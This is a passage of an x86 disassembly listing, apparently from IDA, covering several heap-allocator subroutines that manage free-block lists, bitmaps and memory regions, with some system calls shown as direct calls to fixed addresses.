		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DCFD4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DCFCC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DCFCC
		mov	eax, dword_4DCFD4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DCFD4
		mov	ecx, dword_4DCFCC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DCFD4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DCFD4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DCFD4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DCFD4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DCFE4
		call	near ptr 27A0000h
		nop
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DCFD4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DCFD8
		cmp	eax, dword_4DCFD4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DCFDC
		mov	dword_4DCFD0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DCFCC, edi
		mov	dword_4DCFD4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DCFD8
		mov	edx, dword_4DCFDC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DCFD0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DCFD0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DCFD4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DCFCC
		jnz	short loc_41E4C7
		and	dword_4DCFD4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DCFD8
		mov	ecx, dword_4DCFC8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DCFDC
		push	edi
		push	dword_4DCFE4
		call	near ptr 2850000h
		nop
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DCFC8, 10h
		mov	dword_4DCFDC, eax
		mov	eax, dword_4DCFD8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DCFDC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DCFE4
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27B0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		call	near ptr 28A085Ch
		nop
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DCFE4
		nop
		call	near ptr 27A0000h


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DCFD8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 28A085Ch
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
